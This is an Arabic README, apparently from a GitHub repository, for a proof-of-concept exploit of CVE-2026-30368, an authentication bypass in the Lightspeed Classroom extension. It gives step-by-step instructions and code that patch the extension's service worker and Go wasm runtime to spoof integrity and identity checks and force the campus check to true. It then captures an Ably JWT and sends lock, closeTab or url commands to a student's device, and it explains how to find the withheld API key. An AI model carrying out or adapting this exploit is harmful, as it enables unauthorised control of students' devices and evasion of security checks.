
إثبات مفهوم لاستغلال CVE-2026-30368، يوضح تجاوز المصادقة في Lightspeed Classroom للتحكم في أجهزة الطلاب عبر قناة Ably.
[!IMPORTANT]
تم تصحيح هذه الثغرة وتتطلب الآن بيانات اعتماد، استخدم الحل البديل لتنفيذ إجراءات على نفسك.
تسمح CVE-2026-30368 للمهاجم بالتحكم في أجهزة الطلاب عبر ثغرة ضعف في المصادقة في إدارة الفصول الدراسية Lightspeed Classroom. يقوم إثبات المفهوم (poc.js) بتنفيذ خدمة العامل (service worker) من إضافة LS Classroom في السياق العام. يقوم العامل أيضًا بتشغيل classroom.wasm لبعض الوظائف. يقوم wasm-loader.js بتحميل العامل واستخراج رمز JWT المولّد بواسطة classroom.wasm. بمجرد استخراجه، يقوم بإنهاء العامل، ثم يرسل الرمز إلى واجهات برمجة تطبيقات Lightspeed للحصول على رمز يُستخدم للاتصال بقناة Ably الخاصة بالهدف. من هناك، يمكن للمهاجم إرسال أمر إلى جهاز الطالب. قائمة الأوامر والكثير من المعلومات الإضافية موجودة في التقرير الكامل هنا.
لا يمكن أن تكون هذه الملفات في هذا المستودع للأسباب التالية:
لتجنب المشكلات، أوصي باستخدام الإصدار 5.1.2.1763770643. إذا كنت بحاجة إلى مساعدة في تكييف الإصدارات الأحدث، فأنت مسؤول عن ذلك بنفسك.
يمكنك الحصول على ملفات worker.js و classroom.wasm من الكود المصدري لإضافة Lightspeed. يمكن الحصول على ذلك عن طريق تسجيل الدخول بحساب مدرستك على Chrome على جهاز شخصي ثم استخراج كود الإضافة من مجلد الإضافات الموجود في دليل ملف تعريف Chrome الخاص بك. يمكنك أيضًا تنزيل ملف crx يدويًا من خلال رابط التحديث.
الطريقة الأسهل لهذا الاستغلال هي أولاً الحصول على classroom.wasm من الكود المصدري للإضافة الخاصة بك، ثم لصقه في نفس الدليل الذي يوجد به wasm-only.js، وتشغيل:
$ node wasm-only.js
أدخل بريدًا إلكترونيًا ومعرف عميل عند الطلب. سيقوم هذا بالاتصال بقناة ably. انتقل إلى السطر 815 وقم بإلغاء تعليق ما تريد إرساله من الرسائل. الفضل: ktibow على discord
بمجرد حصولك على الملفات، أضفها ببساطة إلى دليل المستودع المستنسخ. ستحتاج إلى الدخول إلى wasm-loader.js إلى دالة getManifest() ولصق بيان الإضافة الخاص بك هناك. ستحتاج أيضًا إلى إضافة معرف الإضافة إلى wasm-loader.js في الأعلى.
أنشئ نسخة من worker.js باسم ملف تفضله. ستحتاجها لاحقًا. ستحتاج إلى تشغيل worker.js من خلال webcrack لإزالة التعتيم وإزالة التصغير لإجراء التعديلات اللازمة. عند القيام بذلك، تأكد من تحديد خياري "Deobfuscate" و "Unminify" فقط. قبل لصق النتيجة مرة أخرى في محررك، يُنصح بإيقاف تشغيل جميع خوادم LSP لأنها ستزيل متغيرات عشوائية وتكسر العامل في المراحل اللاحقة (أنظر إليك vtsls...)
نظرًا لأن خدمة العامل سيتم تشغيلها على node.js (تأكد من تثبيته)، فستحتاج إلى بعض التصحيحات ليعمل بشكل صحيح. يجب أيضًا إضافة منطق استخراج JWT. أضف الدالتين التاليتين في أعلى worker.js:
function valueCallBefore(call, before, func, r) {
const actualWorkerUrl = 'chrome-extension://YOUR_EXTENSION_ID/worker_copy.js'
if (call[0] == "chrome-extension://YOUR_EXTENSION_ID/worker.js") {
return [actualWorkerUrl, call[1]];
}
if (func == chrome.identity.getProfileUserInfo) {
call[1](https://github.com/truekas/ls-poc/blob/master/identity)
return []
}
return before
}
function valueCallAfter(call, after, func, r) {
if (func.name == "toString"){
return 'function getProfileUserInfo() { [native code] }'
}
if (call[0] == "worker.js") {
return "chrome-extension://YOUR_EXTENSION_ID/worker_copy.js"
}
return after
}
سيتم استخدام هذه الدوال عندما نقوم بتعديل وقت تشغيل wasm go لاعتراض وتعديل القيم المستخدمة بواسطة LS classroom wasm.
تأكد من استبدال YOUR_EXTENSION_ID بمعرف الإضافة الخاص بك و worker_copy.js باسم ملف النسخة من worker.js الأصلي الذي أنشأته سابقًا.
بعد ذلك أضف هاتين الدالتين داخل دالة السهم الرئيسية (بعد (() => {)
chrome.runtime.getPlatformInfo = function (e) {
e({
"arch": "x86-64",
"nacl_arch": "x86-64",
"os": "cros"
})
return {
"arch": "x86-64",
"nacl_arch": "x86-64",
"os": "cros"
}
}
chrome.identity.getProfileUserInfo = function (e) {
if (e){
e(identity)
} else {
return identity
}
}
بعد ذلك تحتاج إلى ترميز IsClassroomActive ليكون true حتى تتمكن من تنفيذ هذا خارج شبكات الحرم الجامعي. ببساطة قم بتغيير الدالة لتعيد true دائمًا:
_0x22e7ce.exports = {
IsChromebookOnly: _0x218c73,
IsClassroomActive: function () {
return true;
},
LoadPolicy: _0x9069fc
};
ثم ابحث عن syscall/js.valueCall للعثور على دالة valueCall التي تحتاج إلى تعديل. هذه هي التي تُعلم wasm بقيمة JS. القيمتان اللتان يتم اعتراضهما وتغييرهما بتعديل هذه الدالة هما مسار worker.js (يتم تغييره إلى نسخة العامل الخاصة بك حتى ينجح فحص التجزئة) وقيمة chrome.identity.getProfileUserInfo.toString يتم تغييرها لتقول native code حتى يعتقد WASM أنه يمكن الوثوق بها بينما في الواقع تم تعديلها في أعلى الملف. للقيام بذلك، تحتاج إلى استخدام دالتي valueCallBefore و valueCallAfter اللتين عرفناهما في الأعلى. قم بتعديل دالة valueCall كما يلي (ستختلف أسماء المتغيرات، لكن البنية هي نفسها):
"syscall/js.valueCall": function (_0x4b3309) {
_0x4b3309 >>>= 0;
try {
var _0x35f3af = _0x3634e7(_0x4b3309 + 8);
var _0x13b354 = Reflect.get(_0x35f3af, _0x221273(_0x4b3309 + 16));
var _0x369f3d = _0x5a331c(_0x4b3309 + 32);
_0x369f3d = valueCallBefore(_0x369f3d, _0x369f3d, _0x13b354, _0x35f3af);
var _0x1b573a = Reflect.apply(_0x13b354, _0x35f3af, _0x369f3d);
_0x1b573a = valueCallAfter(_0x369f3d, _0x1b573a, _0x13b354, _0x35f3af);
_0x4b3309 = _0x489a1f._inst.exports.getsp() >>> 0;
_0x51c0ee(_0x4b3309 + 56, _0x1b573a);
_0x489a1f.mem.setUint8(_0x4b3309 + 64, 1);
} catch (_0x4b14cb) {
_0x4b3309 = _0x489a1f._inst.exports.getsp() >>> 0;
_0x51c0ee(_0x4b3309 + 56, _0x4b14cb);
_0x489a1f.mem.setUint8(_0x4b3309 + 64, 0);
}
},
كدت تنتهي. أخيرًا، تحتاج إلى إضافة كود لالتقاط JWT. ابحث عن echoMessages: false وستجد المتغير الذي يحتوي على قائمة الترويسات المرسلة إلى Ably. أسفل ذلك مباشرة، أضف هذا السطر (من المحتمل جدًا أن أسماء المتغيرات لن تكون دقيقة، يمكنك العثور على نفس السطر الذي يصل إلى ablyJwt في authHeaders):
globalThis.__LIGHTSPEED_JWT__ = _0xed754d("ablyJwt");
يقوم هذا بتعيين JWT إلى متغير في النطاق العام بحيث يمكن لـ wasm-loader.js (الـ "harness" الذي يشغل خدمة العامل) الوصول إليه. هذا يختتم تعديل العامل. تأكد من أن جميع خوادم LSP الخاصة بك لا تزال متوقفة. إذا عادت للعمل، فقد تواجه مشكلات مع متغيرات غير معرّفة لاحقًا.
انتقل إلى ملف poc.js. في الأعلى، أضف البريد الإلكتروني ومعرف العميل لحساب ترغب في الاختبار عليه (يفضل أن يكون حسابك الخاص). استخدام معرف عميل غير معرفك سيرمي خطأ لأنك تحتاج إلى أن يكون لديك ملفات worker.js و classroom.wasm الصحيحة المطابقة لمعرف العميل ذلك.
مفتاح API الخاص بـ Ably في poc.js محذوف لأسباب قانونية لذا سيتعين عليك العثور عليه بنفسك. ابحث عنه في worker.js، يبدأ بـ G52. يمكن أيضًا العثور على معرف العميل الخاص بك في نفس المكان، ابحث عن CUSTOMER_ID: أو ابحث عن سلسلة بهذا التنسيق: XX-XXXX-XXXX. آخر 3 أرقام عادة ما تكون 000.
بخصوص وكيل المستخدم، يمكنك تعيينه إلى أي شيء تريده ولكن AWS قد يحظر بعض وكلاء المستخدم المرتبطين بأدوات الأتمتة.
بمجرد القيام بكل هذا، انتقل إلى الأسفل ويمكنك إضافة رسالة لإرسالها إلى قناة Ably الخاصة بالمستخدم باستخدام publish. يمكن أن تتضمن الرسائل lock و closeTab و url والمزيد.
القائمة الكاملة لرسائل Ably المستخدمة من قبل Lightspeed موجودة هنا.
نفذ الملف باستخدام node.js أو deno أو أي وقت تشغيل آخر. لا يعمل Bun.
$ node poc.js
لا تتردد في توسيع إثبات المفهوم وتحويله إلى CLI أو شيء مشابه.